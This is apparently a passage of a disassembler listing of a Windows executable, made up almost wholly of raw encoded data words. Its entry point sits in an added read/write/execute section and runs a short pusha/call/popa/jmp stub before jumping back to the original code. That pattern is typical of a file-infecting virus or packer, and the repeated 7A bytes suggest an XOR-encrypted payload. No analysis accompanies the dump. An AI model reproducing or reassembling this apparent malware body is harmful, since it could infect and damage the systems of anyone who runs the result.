		dd 84903D10h, 29221ABDh, 1640281h, 0E240D02Fh, 42029682h
		dd 3C18FD02h, 1C95B720h, 68252557h, 508322Eh, 990BC002h
		dd 19911D18h, 7996C804h, 3908128Dh, 8F210F8Eh, 913C90E4h
		dd 0F2929087h, 249E1E93h, 0A090799h, 757B8C12h,	0E4960D20h
		dd 93052082h, 11B49519h, 70BC2D02h, 904081FEh, 22091191h
		dd 0F6408364h, 14388910h, 10111191h, 122252E4h,	8913C044h
		dd 24181294h, 3259505Ch, 221A1134h, 1B0451FCh, 1C91C448h
		dd 78449C22h, 1279898Ch, 487A247Ch, 10FC916Ch, 0FF226A0Ch
		dd 1215C61h, 0CB4D0402h, 60E6903Fh, 21E47982h, 0DF0CB9B5h
		dd 46A10848h, 9F8104A5h, 4020FCE0h, 6186807Eh, 0A3C161A8h
		dd 886DCADAh, 31FE8142h, 0B5084C40h, 41D930A5h,	0CF88B61Ch
		dd 0A1E472A2h, 0E8D9E5E0h, 605A5BE1h, 46A17E85h, 905510Ah
		dd 675EDA39h, 6A675FC0h, 22E3284h, 0E0DED8D3h, 7E3102F9h
		dd 3F83A90h, 6CDDE799h,	48h dup(0)
		dd 0F80h dup(?)
_text		ends

; Section 3. (virtual address 00018000)
; Virtual size			: 00020000 ( 131072.)
; Section size in file		: 00011C00 (  72704.)
; Offset to raw	data for section: 00003E00
; Flags	E0000020: Text Executable Readable Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
_data		segment	para public 'CODE' use32
		assume cs:_data
		;org 418000h
		assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing

; =============== S U B	R O U T	I N E =======================================


		public start

start		proc near

; FUNCTION CHUNK AT 0040292E SIZE 00000013 BYTES

		pusha
		call	sub_43B76D
		popa
		jmp	loc_40292E
start		endp

; ---------------------------------------------------------------------------
		dd 0EA8D3700h, 7A7A797Ah, 7A7A7E7Ah, 7A85857Ah,	7A7AC27Ah
		dd 7A7A7A7Ah, 7A7A3A7Ah, 8 dup(7A7A7A7Ah), 7A7AFA7Ah, 567377Ah
		dd 0B84309F4h, 18D1BCCAh, 0BC081AC4h, 9CCCFAE7h, 660C4C36h
		dd 0B39241FDh, 76FED22Fh, 30955C6Ah, 2FCDC340h,	16EF22C7h
		dd 0A3DC249Bh, 0FA25EDF0h, 0F26B97E3h, 0F8358EF2h, 57651B7Ah
		dd 7A0497EFh, 7C7B367Ah, 4CBE57Ah, 7A7A7A3Ah, 7A7A7A7Ah
		dd 747A9A7Ah, 787B715Bh, 7AA27A4Dh, 7A467A7Ah, 6AF87A7Ah
		dd 7A6BEC7Ah, 7A6A7A7Ah, 7A8A7A7Ah, 7A7A7A7Ah, 7A6A7A6Ah
		dd 7A787A7Ah, 7A7A7B7Ah, 7A7A7A7Ah, 7A7A7E7Ah, 7A7A7A7Ah
		dd 6B9A7A7Ah, 7A7E7A7Ah, 7A7A7A7Ah, 7A7A787Ah, 6A7A7A7Ah
		dd 7A6A7A7Ah, 6A7A7A7Ah, 7A6A7A7Ah, 7A7A7A7Ah, 7A7A6A7Ah
		dd 6BAA7A7Ah, 7A7A367Ah, 6BDA7A7Ah, 7A7BB67Ah, 6 dup(7A7A7A7Ah)
		dd 6BCA7A7Ah, 7A61767Ah, 14h dup(7A7A7A7Ah), 1F0E547Ah
		dd 7A7A0E02h, 7AACFE7Ah, 7A6A7A7Ah, 7AACFE7Ah, 7A7E7A7Ah
		dd 3 dup(7A7A7A7Ah), 7A7A5A7Ah,	918541Ah, 7A7A7A09h, 6AFA127Ah
		dd 7A8A7A7Ah, 5	dup(7A7A7A7Ah),	7A7AFA7Ah, 1B1E54BAh, 7A7A1B0Eh
		dd 7A60C27Ah, 6BFA7A7Ah, 7A60C27Ah, 7AA67A7Ah, 3 dup(7A7A7A7Ah)
		dd 7A7A3A7Ah, 1E1354BAh, 7A1B0E1Bh, 7A7BB67Ah, 6BDA7A7Ah
		dd 7A7BB67Ah, 7A827A7Ah, 3 dup(7A7A7A7Ah), 7A7A1A7Ah, 1F0854BAh
		dd 7A191516h, 7A616E7Ah, 6BCA7A7Ah, 7A616E7Ah, 7A867A7Ah
		dd 3 dup(7A7A7A7Ah), 7A7A5A7Ah,	1E1F5478h, 7A1B0E1Bh, 7A7A367Ah
		dd 6BAA7A7Ah, 7A7A367Ah, 7B627A7Ah, 3 dup(7A7A7A7Ah), 7A7A5A7Ah
		dd 7A7A7A3Ah, 65h dup(7A7A7A7Ah), 7A7BC27Ah, 4BB97A7Ah
		dd 36F13ABAh, 3B8D7E5Eh, 7A7A7C7Eh, 0F1750E7Ah,	0F1725E3Eh
		dd 0F36A5E2Eh, 7A79C278h, 29B97A7Ah, 3EF12D2Ch,	102A6A5Eh
		dd 6A7C1284h, 851E6A7Ah, 7A7A7A4Fh, 5FF31E7Ah, 7A7A7A7Ah
		dd 5A5E3EF1h, 0F17222F1h, 84F9760Ah, 415A0E85h,	0E5E5E0Eh
		dd 0C4EF760h, 0F1C976F1h, 0F1725E36h, 6F97632h,	0F7A7EC9h
		dd 0C92E85ADh, 1EAB9172h, 7A7A7FF5h, 0BEF97A7Ah, 21242576h
		dd 9FF32FB9h, 2F2D2C29h, 7A107A10h, 7A6AE212h, 720F856Ah
		dd 7AAFFA92h, 2425277Ah, 2796F321h, 0F32F86B9h,	7296F99Fh
		dd 2F2D2C29h, 0F17627F1h, 3A8D723Fh, 7A7A7C7Eh,	0CDFF757Ah
		dd 0F37A7A7Ah, 3FF1823Fh, 863FF36Ah, 0F3823FF7h, 9F18639h
		dd 7201F176h, 758584F9h, 7A7AD2FEh, 0C76F77Ah, 7EF506F9h
		dd 2C070E7Ah, 6A11F72Fh, 0F1963FF1h, 0D97AF17Ah, 6A6BFA4Eh
		dd 0F1962FF1h, 0FA42D978h, 38F16A6Bh, 0FA46D97Eh, 2D2C6A6Bh
		dd 7A6EC32Bh, 47F77A7Ah, 6A6BFA3Ah, 0FA424FF1h,	0DF896A6Bh
		dd 0FA3A47F7h, 47F36A6Bh, 6A6BFA42h, 85242523h,	277EF52Eh
		dd 7627F124h, 520EBA73h, 1F14E02h, 40922972h, 0F9858585h
		dd 11F77EBEh, 92292C6Ah, 858584A9h, 0F772BEF9h,	7EF10C76h
		dd 7639F1F5h, 72F52E85h, 0F77201F1h, 4EF10C76h,	851893F5h
		dd 0BA4B8585h, 0F72F6391h, 85106A11h, 84DF9229h, 0BEF98585h
		dd 92711076h, 7A7AAEAFh, 277EBEF9h, 0F3212425h,	2FB92796h
		dd 2C299FF3h, 7607F92Dh, 927F0F7Bh, 7A7A7A66h, 7AA98D92h
		dd 6A0F857Ah, 85760F85h, 7ADB720Fh, 856A6BFAh, 212425AAh
		dd 7A76B8B3h, 0F99FF32Fh, 102D7696h, 928C107Ah,	7A7AAE27h
		dd 10823FF3h, 928F107Ah, 7A7AAE2Bh, 10863FF3h, 928E107Ah
		dd 7A7AAE3Fh, 128E3FF3h, 6A6BFA64h, 92820F85h, 7A7AAE53h
		dd 6BFA72D9h, 0FA66126Ah, 0F856A6Bh, 0AE6D9286h, 7ED97A7Ah
		dd 126A6BFAh, 6A6BFA66h, 928E0F85h, 7A7AAE7Fh, 0D94ABEF9h
		dd 6A6BFA76h, 0FA7E47F1h, 85736A6Bh, 7A10710Eh,	0AE49922Dh
		dd 0BEF97A7Ah, 7647F172h, 736A6BFAh, 106A0E85h,	64922D7Ah
		dd 0F97A7AAEh, 7C9272BEh, 257A7A7Ah, 0EAEAB9B3h, 9FF32FEAh
		dd 296E96F9h, 3FBD2D2Ch, 7A7A7A8Eh, 0A9E1927Ah,	0B9F37A7Ah
		dd 918A27F3h, 4741FA66h, 3F85790Eh, 4BA5F38Eh, 0B36383BAh
		dd 0A38DD488h, 0F3843BF7h, 66F73DBDh, 7A41FA41h, 7F1A50Fh
		dd 46F73D8Eh, 7A7A7AC7h, 9607F37Ah, 92960F85h, 7A7AA9DFh
		dd 823FF323h, 6BFA6AD9h, 8207F96Ah, 4B7E0F7Ah, 0F12791BAh
		dd 3F918A27h, 0BA4BA5F3h, 88B36383h, 0F7A38DD4h, 0BDF3843Bh
		dd 8607F33Dh, 0E4741FAh, 860F855Ch, 7AA91692h, 0FF1237Ah
		dd 737CF382h, 91780FBAh, 7F12951h, 924D8582h, 7A7AA903h
		dd 0F972BEF9h, 0F17E823Fh, 66F7862Fh, 7A41FA69h, 2FF1CC0Fh
		dd 7A78BD82h, 0C27A7A7Ah, 7A7A7A7Bh, 0B3212425h, 9FF32FB9h
		dd 795E96FBh, 2C297A7Ah, 7607F92Dh, 56FE757Ah, 0F17A7A6Bh
		dd 7AF0723Fh, 720E4E46h, 0FF754F46h, 7A7A6B61h,	0F3723FF1h
		dd 85B2F9BBh, 7B46FA3Ah, 0F3830F7Ah, 8584A2FFh,	166FF185h
		dd 0F96A6BFBh, 6F797EB8h, 6A6BFB0Eh, 6B0EAA43h,	0FADE6FF1h
		dd 0B8F96A6Bh, 75AA4376h, 7A6A98FFh, 67C5757Ah,	6A6BFAEEh
		dd 917891F9h, 7A4AC25Eh, 998D7A7Ah, 87DAFFF3h, 3FF18585h
		dd 0DAEFF176h, 43858587h, 4F2A6F7Eh, 0FE756A73h, 7A7A6AC9h
		dd 0FAEADB39h, 0BAF96A6Bh, 0E67F7926h, 436A6BFBh, 0DBB008B9h
		dd 6A6BFB86h, 4369BAF9h, 8584A2FFh, 0BAFF7585h,	0F17A7A7Bh
		dd 3AF0723Fh, 0E574674h, 755A4672h, 7A6A00FFh, 723FF17Ah
		dd 46733AF0h, 46720E57h, 12FF755Ah, 0F17A7A6Ah,	3AF0723Fh
		dd 0E57467Eh, 755A4672h, 7A6A2CFFh, 0FB3ADB7Ah,	0BAF96A6Bh
		dd 6FC57576h, 6A6BF872h, 2FF1AA7Bh, 6B28F072h, 7B7FEEF2h
		dd 75858585h, 0FB3E7FC5h, 2FF16A6Bh, 7228F072h,	7E7FEEF2h
		dd 0DB858585h, 6A6BFBFAh, 0F0722FF1h, 0EEF27028h, 8585737Fh
		dd 0FBA6DB85h, 0BAF96A6Bh, 6FC5757Dh, 6A6BFABEh, 2FF1AA7Bh
		dd 6A28F072h, 7B7FEEF2h, 0DB858585h, 6A6BFB66h,	0FB0A7F79h
		dd 2FF16A6Bh, 7D28F072h, 7B7FEEF2h, 0DB858585h,	6A6BFB5Ah
		dd 0F0722FF1h, 0EEF27528h, 85857F7Fh, 7FC57585h, 6A6BFAD2h
		dd 0F0722FF1h, 0EEF27628h, 8585717Fh, 7FC57585h, 6A6BFB46h
		dd 626FC575h, 7B6A6BF8h, 722FF1AAh, 0F27C28F0h,	84877FEEh
		dd 9ADB8585h, 756A6BFAh, 0FACE6FC5h, 0AA7B6A6Bh, 0F0722FF1h
		dd 7FEEF268h, 8585848Ch, 6BFBCEDBh, 6FC5756Ah, 6A6BFB52h
		dd 0F27F90F9h, 85777FEEh, 0D6DB8585h, 796A6BFBh, 6BFAB27Fh
		dd 722FF16Ah, 0F27928F0h, 857B7FEEh, 0EADB8585h, 0F96A6BFAh
		dd 0C5757EBAh, 6BFBE26Fh, 0F1AA7B6Ah, 28F0722Fh, 7FEEF271h
		dd 8585857Bh, 6BFBC6DBh, 722FF16Ah, 0F26828F0h,	85707FEEh
		dd 76DB8585h, 0F16A6BF8h, 28F0722Fh, 7FEEF27Fh,	8585857Bh
		dd 6BFBD6DBh, 6FC5756Ah, 6A6BF86Ah, 2FF1AA7Bh, 7828F072h
		dd 867FEEF2h, 75858584h, 0FB3E7FC5h, 2FF16A6Bh,	7728F072h
		dd 727FEEF2h, 0DB858585h, 6A6BFB96h, 0F0722FF1h, 0EEF27B28h
		dd 8584857Fh, 85759185h, 0FFF7720Fh, 8585857Bh,	0AA51922Ah
		dd 4FF17A7Ah, 6A6BFBF6h, 0F06F9134h, 857B4FFEh,	4A468585h
		dd 43467E06h, 0DA937F04h, 3C7A7A74h, 6BFB2EDBh,	79BAF96Ah
		dd 526FC575h, 7B6A6BFBh, 8BC43AAh, 0FAD6DBACh, 92F96A6Bh
		dd 82FFF37Dh, 0F1858584h, 6BFB864Fh, 753C916Ah,	7B4FFEC4h
		dd 0F9858585h, 6FF14A92h, 6A6BFAB2h, 0B8D57538h, 8482FF7Bh
		dd 0C6FA8585h, 85857B4Fh, 74044E85h, 6BFB1ADBh,	78BAF96Ah
		dd 8482FF53h, 0ADB8585h, 756A6BFBh, 0FABE6FC5h,	0AA7B6A6Bh
		dd 7B7292F9h, 0FAC6DBBCh, 0BAF96A6Bh, 8BC436Ah
		dd 0F85ADBD4h, 0B9F36A6Bh, 0FB2E6779h, 91F96A6Bh, 75619173h
		dd 7B67FEC4h, 0F9858585h, 0FF7B4A92h, 85858482h, 0B67FC575h
		dd 3A6A6BFAh, 0C575B97Bh, 6BFBE27Fh, 526FF16Ah,	0F76A6BF8h
		dd 437D6A3Eh, 0F1AA08B9h, 858482FFh, 7A70C385h,	0A84B7A7Ah
		dd 47F18B8Dh, 6A6BF842h, 8E67C575h, 7B6A6BFAh, 7895F9A5h
		dd 0FF758043h, 7A7A77CDh, 857BFFF7h, 852A8585h,	6B200E6Fh
		dd 0BA73236Ah, 77DBFF75h, 4FF17A7Ah, 6A6BFB9Ah,	0F17E94F9h
		dd 6BF8424Fh, 0C251916Ah, 7A7A7A4Ah, 0FFF39C8Dh, 858587E6h
		dd 6BFB3ADBh, 2A7F796Ah, 0F96A6BFBh, 0EFF17F92h, 858587E6h
		dd 2A6F7E43h, 0E6A734Fh, 0C5753C75h, 6BFBDE7Fh,	24BAF96Ah
		dd 0BD08BC43h, 427FC575h, 0F16A6BFBh, 6BF8566Fh, 6A3EF76Ah
		dd 75BC4320h, 7A7744FEh, 7A4AC27Ah, 9C8D7A7Ah, 87E2FFF3h
		dd 3FF18585h, 0E2EFF176h, 0F3858587h, 4F2A6F7Eh, 0CB126A73h
		dd 926A6BE3h, 7A7A59D2h, 0D647F123h, 756A6BFAh,	0FBBE67C5h
		dd 0A57B6A6Bh, 2D7595F9h, 47C5752Ah, 6A6BF86Ah,	2D7F95F9h
		dd 85760F85h, 77234A6Fh, 0B6FFF36Ah, 0F1858584h, 6BFB8277h
		dd 7993F96Ah, 730FB243h, 0F3763FF1h, 8584B6FFh,	0E3DE1285h
		dd 23926A6Bh, 2A7A7A59h, 84B6CF85h, 0B5928585h,	0F37A7AC8h
		dd 8584AEFFh, 0E3E21285h, 47926A6Bh, 2A7A7A59h,	84AECF85h
		dd 0C9928585h, 0F37A7AC8h, 7A4AC2BDh, 9C8D7A7Ah, 87EEFFF3h
		dd 0B9F38585h, 2E6746F3h, 106A734Fh, 7A4AC27Ah,	9C8D7A7Ah
		dd 87EAFFF3h, 4E858585h, 734F2E7Fh, 226F856Ah, 0DB6A6B23h
		dd 6A6BFBAAh, 2A7D92F9h, 5FE26F85h, 0FFF36A7Bh,	8585848Eh
		dd 849EFFF7h, 852A8585h, 8584AECFh, 2A6F8585h, 126A6B23h
		dd 6A6BE3F4h, 7A58B192h, 66BEF97Ah, 0FBBA47F1h,	2D356A6Bh
		dd 848ECF85h, 0C5758585h, 6BFBEE47h, 67C5756Ah,	6A6BFB8Ah
		dd 95F9A57Bh, 0CF852D7Dh, 858584AEh, 848AC7F1h,	0C7518585h
		dd 85858492h, 96C7F12Dh, 51858584h, 85849EC7h, 0C5752D85h
		dd 6BFB4647h, 7395F96Ah, 7647F12Dh, 0F96A6BFBh,	122D7895h
		dd 2AFA7A7Ah, 857BC7F7h, 2A2D8585h, 7A787A12h, 466F857Ah
		dd 0F36A7333h, 7A4AC2BDh, 9C8D7A7Ah, 87F6FFF3h,	0B9F38585h
		dd 226746F3h, 0F16A734Fh, 858496FFh, 9EFF5185h,	0F1858584h
		dd 6BFB9A6Fh, 53B8F96Ah, 0FFF3AA53h, 8585849Ah,	848AC7F1h
		dd 0C7518585h, 85858492h, 0FBAE67F1h, 0B9FB6A6Bh, 7A7A7A88h
		dd 67F1A553h, 6A6BF87Eh, 0F340B9F9h, 4BA25382h,	75BAFFA8h
		dd 0AA7BB8E6h, 0FFF382ABh, 858584A6h, 0F84E6FF1h, 6F796A6Bh
		dd 6A6BFBFEh, 437690F9h, 756C07AAh, 0FA827FC5h,	7F796A6Bh
		dd 6A6BF842h, 0F37E92F9h, 8584A6FFh, 0E3FE1285h, 0C3926A6Bh
		dd 0F37A7A5Bh, 8587F2FFh, 0E3FA1285h, 0D3926A6Bh, 0F37A7A5Bh
		dd 8587FEFFh, 5A47F185h, 796A6BF8h, 6BFB3A47h, 7995F96Ah
		dd 8ECF852Dh, 0F1858584h, 6BFAB247h, 0C22D356Ah, 7A7A7A4Ah
		dd 0FFF39C8Dh, 858587FAh, 4E85BDF3h, 734F2247h,	47C5756Ah
		dd 6A6BFB42h, 7A8DBDFBh, 852D7A7Ah, 85849ACFh, 0A6C7F185h
		dd 0F1858584h, 6BFBF267h, 4CB9F96Ah, 326FC575h,	7B6A6BFBh
		dd 75A57BA9h, 0FA8667C5h, 7B316A6Bh, 47F12DA5h,	6A6BFB2Eh
		dd 797FBDF9h, 6BFAD647h, 73122D6Ah, 0F12AFA7Ah,	8587FEC7h
		dd 0C7F12D85h, 858587F2h, 47C5752Dh, 6A6BFA82h,	2D7F95F9h
		dd 33466F85h, 0FFF36A73h, 858584B2h, 6BE30C12h,	5A88926Ah
		dd 0FFF37A7Ah, 85858706h, 6BE32712h, 5A98926Ah,	0FFF37A7Ah
		dd 85858702h, 0FB5E47F1h, 0C5756A6Bh, 6BFA8667h, 0F9A57B6Ah
		dd 852D7E95h, 85848ECFh, 47C57585h, 6A6BFB32h, 0B667C575h
		dd 7B6A6BFBh, 7095F9A5h, 7A4AC22Dh, 9C8D7A7Ah, 870EFFF3h
		dd 0BDF38585h, 22474E85h, 0F16A734Fh, 6BFBD647h, 4BBDF96Ah
		dd 0F8364779h, 852D6A6Bh, 85849ACFh, 0A6CF8585h, 75858584h
		dd 0FB7E47C5h, 67F16A6Bh, 6A6BF866h, 6A6506F7h,	7A7A122Dh
		dd 0C7F12AFAh, 85858702h, 6C7F12Dh, 2D858587h, 0F86E47F1h
		dd 95F96A6Bh, 6F852D79h, 6A733346h, 84BEFFF3h, 92DB8585h
		dd 326A6BFAh, 1078102Ah, 107A107Ah, 757B107Fh, 0FBE27FC5h
		dd 6FF16A6Bh, 6A6BF852h, 90F9B87Bh, 6FF12873h, 6A6BFB06h
		dd 0F87E6F79h, 90F96A6Bh, 6FF12873h, 6A6BFBE6h,	287E90F9h
		dd 7A78C612h, 0DA6FF17Ah, 796A6BFAh, 6BFB0E6Fh,	7090F96Ah
		dd 0C64F8528h, 796A6BFAh, 6BFB2E7Fh, 0DB2A326Ah, 6A6BFB9Eh
		dd 2A6ABAF9h, 485A6F85h, 0FFF36A73h, 858584BAh,	102A7B10h
		dd 0BECF854Ah, 85858584h, 7A8A626Fh, 0E329126Ah, 0CB926A6Bh
		dd 0F37A7A65h, 85870AFFh, 0E3341285h, 0DB926A6Bh, 0F97A7A65h
		dd 47F162BEh, 6A6BFB4Ah, 0CF852D35h, 8585848Eh,	0FB4E47F1h
		dd 95F96A6Bh, 0CF852D78h, 858584B2h, 0FADA47F1h, 0BDFB6A6Bh
		dd 7A7A7A88h, 6A67C575h, 7B6A6BF8h, 0E267F1A5h,	796A6BFAh
		dd 6BF83267h, 7391F96Ah, 0F12DA553h, 85849AC7h,	2E67F185h
		dd 796A6BFBh, 6BF86E67h, 7D91F96Ah, 752DA553h, 0FB3247C5h
		dd 47796A6Bh, 6A6BFB9Eh, 2D7E95F9h, 0FB7247F1h,	95F96A6Bh
		dd 7A122D7Dh, 2A2A7A7Ah, 870AC7F1h, 0F12D8585h,	6BF84E47h
		dd 0A47796Ah, 0F96A6BFBh, 852D7695h, 7333466Fh,	0C2BDF36Ah
		dd 7A7A7A4Ah, 0FFF39C8Dh, 85858716h, 46F3B9F3h,	734F2667h
		dd 0F876DB6Ah, 7F796A6Bh, 6A6BFB0Eh, 8C7FC6FAh,	4E858584h
		dd 3C12600Fh, 926A6BE3h, 7A7A64B6h, 0C7F72A23h,	858584D6h
		dd 0B3E1922Dh, 62917A7Ah, 6BE34212h, 64C8926Ah,	2A237A7Ah
		dd 84D6C7F7h, 922D8585h, 7A7AB3FBh, 6BE2BC12h, 64E0926Ah
		dd 0C7F77A7Ah, 8585857Bh, 0D6C7F72Dh, 2D858584h, 0D7C7F72Ah
		dd 2D858587h, 23526F85h, 0C6126A77h, 926A6BE2h,	7A7A640Eh
		dd 8712FFF3h, 47F18585h, 6A6BFB12h, 0FB9A4779h,	95F96A6Bh
		dd 0CF852D7Ch, 8585848Eh, 0F8424F85h, 4AC26A6Bh, 8D7A7A7Ah
		dd 1EFFF39Ch, 0F3858587h, 474E85BDh, 6A734F26h,	0FBAE47F1h
		dd 0BDF96A6Bh, 0CF852D52h, 8585849Ah, 0DE47C575h, 0F96A6BFBh
		dd 0F12D7EBDh, 6BFA9647h, 67C5756Ah, 6A6BFB46h,	122DA57Bh
		dd 2A7A7A7Ah, 87D7C7F7h, 0F12D8585h, 858712C7h,	0C5752D85h
		dd 6BFA8247h, 7A47796Ah, 0F96A6BF8h, 852D7095h,	7333466Fh
		dd 0D2FFF36Ah, 75858587h, 0FBBE7FC5h, 7F796A6Bh, 6A6BFADEh
		dd 2A7592F9h, 7A107810h, 7F107A10h, 7EDB7B10h, 796A6BF8h
		dd 6BFB3A7Fh, 7992F96Ah, 7FC5752Ah, 6A6BFB32h, 0FB6A7F79h
		dd 92F96A6Bh, 22DB2A70h, 0F96A6BFBh, 122A7992h,	7A7A7BEAh
		dd 1E7FC575h, 326A6BFBh, 0F84EDB2Ah, 7F796A6Bh,	6A6BFB5Ah
		dd 2A6A92F9h, 827FC575h, 756A6BFAh, 0FAB66FC5h,	0AA7B6A6Bh
		dd 0FA9ADB2Ah, 0BAF96A6Bh, 6F852A70h, 6A73485Ah, 84AAFFF3h
		dd 7B108585h, 854A102Ah, 8587D2CFh, 626F8585h, 126A7A8Ah
		dd 6A6BE2CAh, 7A674592h, 1AFFF37Ah, 12858587h, 6A6BE2D6h
		dd 7A675592h, 26FFF37Ah, 0F1858587h, 6BFAEA47h,	7E95F96Ah
		dd 8ECF852Dh, 75858584h, 0F83A47C5h, 0C5756A6Bh, 6BFB9267h
		dd 0F9A57B6Ah, 0C22D7595h, 7A7A7A4Ah, 0FFF39C8Dh, 85858722h
		dd 4E85BDF3h, 734F2647h, 5A47F16Ah, 0FB6A6BFBh,	7A7B5EBDh
		dd 0C5752D7Ah, 6BFBB647h, 0C667F16Ah, 0F76A6BFBh, 2D576506h
		dd 0FB7647F1h, 0BDF96A6Bh, 47F12D33h, 6A6BFB22h, 2D39BDF9h
		dd 0FA7A7912h, 26C7F12Ah
		dd 2D858587h, 871AC7F1h, 0F12D8585h, 6BFB9A47h,	7E95F96Ah
		dd 466F852Dh, 0F36A7333h, 7A4AC2BDh, 9C8D7A7Ah,	872EFFF3h
		dd 0B9F38585h, 1E6746F3h, 126A734Fh, 6A6BE2DAh,	7A660D92h
		dd 2AFFF37Ah, 12858587h, 6A6BE2E6h, 7A661D92h, 52BEF97Ah
		dd 8736FFF3h, 47F18585h, 6A6BFBBAh, 6267C575h, 7B6A6BFBh
		dd 7395F9A5h, 8ECF852Dh, 0F1858584h, 6BFB1A47h,	7D95F96Ah
		dd 7A4AC22Dh, 9C8D7A7Ah, 8732FFF3h, 0BDF38585h,	26474E85h
		dd 0F16A734Fh, 6BFB2E47h, 67BDFB6Ah, 797A7A7Bh,	6BFBCA47h
		dd 47F12D6Ah, 6A6BF87Ah, 795CBDF9h, 6BF85647h, 47F12D6Ah
		dd 6A6BFAE2h, 7940BDF9h, 6BFB5A47h, 0C5752D6Ah,	6BFBEE47h
		dd 67C5756Ah, 6A6BFBDEh, 796506F7h, 7A79122Dh, 0C7F12AFAh
		dd 85858736h, 2AC7F12Dh, 2D858587h, 0FAD647F1h,	95F96A6Bh
		dd 6F852D7Dh, 6A733346h, 4AC2BDF3h, 8D7A7A7Ah, 3EFFF39Ch
		dd 0F3858587h, 6746F3B9h, 6A734F1Ah, 6BFBFADBh,	6FC5756Ah
		dd 6A6BFA86h, 1C32AA7Bh, 8484FFF3h, 0BE938585h,	127A7A7Ah
		dd 6A6BE2EEh, 7A610592h, 0C7CD757Ah, 85858484h,	0C7F72A2Dh
		dd 85858740h, 526F852Dh, 0F76A7723h, 858740FFh,	6DB2A85h
		dd 796A6BFBh, 6BFB667Fh, 7392F96Ah, 7B39122Ah, 4AC27A7Ah
		dd 8D7A7A7Ah, 4EFFF39Ch, 85858587h, 4F1A7F4Eh, 6F856A73h
		dd 6A7A8A62h, 6BE2F012h, 6150926Ah, 0CD757A7Ah,	858484C7h
		dd 0E667F185h, 0F96A6BFBh, 0A57B79B9h, 0C7F72A2Dh, 85858740h
		dd 526F852Dh, 0F96A7723h, 0FFF75ABEh, 85858740h, 7FC5752Ah
		dd 6A6BF872h, 6A6FC575h, 7B6A6BF8h, 7C92F9AAh, 7B39122Ah
		dd 4AC27A7Ah, 8D7A7A7Ah, 4AFFF39Ch, 85858587h, 4F1E7F4Eh
		dd 6F856A73h, 6A7A8A62h, 84FF851Ch, 75858584h, 8484FFCDh
		dd 0C5758585h, 6BFBD26Fh, 77B8F96Ah, 0F675AA43h, 85858559h
		dd 6BE2F812h, 60D8926Ah, 0FFF37A7Ah, 8585873Ah,	6BE20412h
		dd 60E8926Ah, 0FFF37A7Ah, 85858746h, 0F87A47F1h, 47796A6Bh
		dd 6A6BF836h, 2D7495F9h, 848ECF85h, 47F18585h, 6A6BFAAEh
		dd 0F86E4779h, 95F96A6Bh, 4AC22D72h, 8D7A7A7Ah,	42FFF39Ch
		dd 0F3858587h, 474E85BDh, 6A734F26h, 0FADE47F1h, 0BDF96A6Bh
		dd 47F12D6Bh, 6A6BFAA2h, 7930BDF9h, 6BFACA47h, 47F12D6Ah
		dd 6A6BF85Ah, 2D00BDF9h, 8247C575h, 0F16A6BFAh,	6BFB0E67h
		dd 6506F76Ah, 7A122D59h, 0F12AFA7Ah, 858746C7h,	0C7F12D85h
		dd 8585873Ah, 787A122Dh, 6F857A7Ah, 6A733346h, 4AC2BDF3h
		dd 8D7A7A7Ah, 4EFFF39Ch, 0F3858587h, 6746F3B9h,	6A734F12h
		dd 0B67FC575h, 326A6BFAh, 1222102Ah, 7A7A7AB6h,	7A7A4AC2h
		dd 0F39C8D7Ah, 85874AFFh, 7F4E8585h, 6A734F12h,	8A626F85h
		dd 0E126A7Ah, 926A6BE2h, 7A7A63CAh, 8756FFF3h, 28128585h
		dd 926A6BE2h, 7A7A63DAh, 8752FFF3h, 47F18585h, 6A6BFB12h
		dd 2D7895F9h, 848ECF85h, 47F18585h, 6A6BFBA6h, 0FAAE4779h
		dd 95F96A6Bh, 4AC22D7Fh, 8D7A7A7Ah, 5EFFF39Ch, 0F3858587h
		dd 474E85BDh, 6A734F26h, 0FB7647F1h, 0BDF96A6Bh, 4A477947h
		dd 2D6A6BF8h, 849ACF85h, 0C5758585h, 6BFA8247h,	5E67F16Ah
		dd 0F76A6BF8h, 2D336506h, 0FBBA47F1h, 0BDFB6A6Bh, 7A7A7AE9h
		dd 0FB5E4779h, 122D6A6Bh, 2A7A7A7Ah, 8752C7F1h,	0F12D8585h
		dd 858756C7h, 47F12D85h, 6A6BFAA2h, 2D7C95F9h, 33466F85h
		dd 0FFF36A73h, 858587DEh, 0CF857B10h, 858584AAh, 852A4A10h
		dd 7A8A626Fh, 0E232126Ah, 9F926A6Bh, 0F37A7A62h, 85875AFFh
		dd 0E2541285h, 0AF926A6Bh, 0F97A7A62h, 0FFF362BEh, 85858766h
		dd 0FB7A47F1h, 95F96A6Bh, 0CF852D73h, 8585848Eh, 0FB4A47F1h
		dd 47796A6Bh, 6A6BFB8Eh, 2D7095F9h, 7A7A4AC2h, 0F39C8D7Ah
		dd 858762FFh, 85BDF385h, 4F26474Eh, 47F16A73h, 6A6BFAAEh
		dd 2D68BDF9h, 0F84A47F1h, 81F36A6Bh, 7AE0B9FBh,	0F1297A7Ah
		dd 6BFB2E67h, 8BB9FB6Ah, 7B7A7A7Ah, 47C57581h, 6A6BFBEAh
		dd 0FBDA6FF1h, 6F76A6Bh, 8153696Dh, 47C57529h, 6A6BFB42h
		dd 2D7DBDF9h, 0FA7A7A12h, 66C7F12Ah, 2D858587h,	875AC7F1h
		dd 0F12D8585h, 6BF86E47h, 0AE47796Ah, 0F96A6BFBh, 852D7195h
		dd 7333466Fh, 0C2BDF36Ah, 7A7A7A4Ah, 0FFF39C8Dh, 8585876Eh
		dd 46F3B9F3h, 734F1667h, 857B106Ah, 8584AACFh, 7A4AC285h
		dd 4A107A7Ah, 0FFF39C8Dh, 8585876Ah, 167F4E85h,	856A734Fh
		dd 7A8A626Fh, 0C286106Ah, 7A7A7A4Ah, 0FFF39C8Dh, 85858776h
		dd 8772FFF3h, 4E858585h, 734F267Fh, 6E6F856Ah, 0F16A7323h
		dd 858772C7h, 477EF385h, 6A734F06h, 7AF76012h, 0C286106Ah
		dd 7A7A7A4Ah, 0FFF39C8Dh, 8585877Eh, 267F4E85h,	856A734Fh
		dd 7B5FD66Fh, 0C286106Ah, 7A7A7A4Ah, 0FFF39C8Dh, 8585877Ah
		dd 8686FFF3h, 4E858585h, 734F127Fh, 6E6F856Ah, 0F16A7323h
		dd 858686C7h, 477EF385h, 6A734F02h, 7AF76012h, 0C286106Ah
		dd 7A7A7A4Ah, 0FFF39C8Dh, 85858682h, 127F4E85h,	856A734Fh
		dd 7B5FD66Fh, 0C286106Ah, 7A7A7A4Ah, 0FFF39C8Dh, 8585868Eh
